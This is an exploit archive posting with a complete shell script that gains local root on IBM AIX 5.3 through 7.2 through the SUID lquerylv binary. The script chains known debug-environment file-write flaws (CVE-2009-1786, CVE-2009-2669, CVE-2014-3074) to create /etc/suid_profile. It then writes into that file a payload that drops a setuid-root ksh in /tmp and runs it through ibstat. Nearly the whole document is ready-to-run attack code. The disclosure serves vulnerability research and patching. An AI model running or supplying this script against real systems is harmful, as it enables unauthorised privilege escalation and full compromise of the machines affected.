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AIX 5.3 / 6.1 / 7.1 / 7.2 lquerylv Local Root

AIX 5.3 / 6.1 / 7.1 / 7.2 lquerylv Local Root
Posted Nov 4, 2016
Authored by Hector X. Monsegur

This exploit takes advantage of known issues with debugging functions within the AIX linker library. It takes advantage of known functionality, and focuses on badly coded SUID binaries which do not adhere to proper security checks prior to seteuid/open/writes.

tags | exploit
systems | aix
SHA-256 | d21d10df2cfdef2edda230cf874c57b4ad9963ec7cc4c0c55f438103a6d3725c

AIX 5.3 / 6.1 / 7.1 / 7.2 lquerylv Local Root

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#!/usr/bin/sh
#
# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
#
# This exploit takes advantage of known issues with debugging functions
# within the AIX linker library. We are taking advantage of known
# functionality, and focusing on badly coded SUID binaries which do not
# adhere to proper security checks prior to seteuid/open/writes.
#
# The CVEs we will be taking advantage of:
# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows
# local users to create or overwrite arbitrary files via a symlink attack on
# the log file associated with the MALLOCDEBUG environment variable.
#
# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does
# not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE
# environment variables, which allows local users to gain privileges by
# leveraging a setuid-root program to create an arbitrary root-owned file
# with world-writable permissions, related to libC.a (aka the XL C++ runtime
# library) in AIX 5.3 and libc.a in AIX 6.1.
#
# - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary
# File Writes In IBM AIX.
#
# In each instance of the aforementioned CVEs, IBM merely patched the binaries
# which were reported in the original reports as being used for escalation of
# the vulnerabilities. This allowed for the lquerylv binary to slip by their
# patches and become an attack vector.
#
# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
#
# lqueryroot.sh by @hxmonsegur [2016 //RSL]

ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
APP=$0

function usage
{
echo "Usage: $APP [1] | [2] | [3]"
echo
echo "1 - MALLOCDEBUG file write -> escalation"
echo "2 - _LIB_INIT_DBG_FILE file write -> escalation"
echo "3 - MALLOCBUCKETS file write -> escalation"
echo
echo "[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL"
exit
}

function CVE20091786
{
echo "[*] Exporting MALLOCDEBUG environment variable"
MALLOCTYPE=debug
MALLOCDEBUG=report_allocations,output:/etc/suid_profile
export MALLOCTYPE MALLOCDEBUG
}

function CVE20092669
{
echo "[*] Exporting _LIB_INIT_DBG_FILE environment variable"
_LIB_INIT_DBG=1
_LIB_INIT_DBG_FILE=/etc/suid_profile
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE
}

function CVE20143074
{
echo "[*] Exporting MALLOCBUCKETS environment variable"
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
export MALLOCOPTIONS MALLOCBUCKETS
}

if [ -z "$1" ]; then
usage
exit 1
fi

while [ "$1" != "" ]; do
case $1 in
1 ) CVE20091786;;
2 ) CVE20092669;;
3 ) CVE20143074;;
* ) usage
break;;
esac
shift
done

if [ ! -x "/usr/sbin/lquerylv" ]; then
echo "[-] lquerylv isn't executable. Tough luck."
exit 1
fi

echo "[*] Setting umask to 000"
umask 000

echo "[*] Execute our vulnerable binary"
/usr/sbin/lquerylv >/dev/null 2>&1

if [ ! -e "/etc/suid_profile" ]; then
echo "[-] /etc/suid_profile does not exist and exploit failed."
exit 1
fi

echo "[*] Cleaning up /etc/suid_profile"
echo > /etc/suid_profile

echo "[*] Current id: `/usr/bin/id`"

echo "[*] Adding payload"
cat << EOF >/etc/suid_profile
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm /etc/suid_profile
EOF

echo "[*] Unsetting env"
unset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE

echo "[*] Executing ibstat for fun and profit"
/usr/bin/ibstat -a >/dev/null 2>&1

if [ ! -e "$ROOTSHELL" ]; then
echo "[-] Rootshell does not exist and exploit failed."
exit 1
fi

echo "[*] Executing rootshell"
$ROOTSHELL

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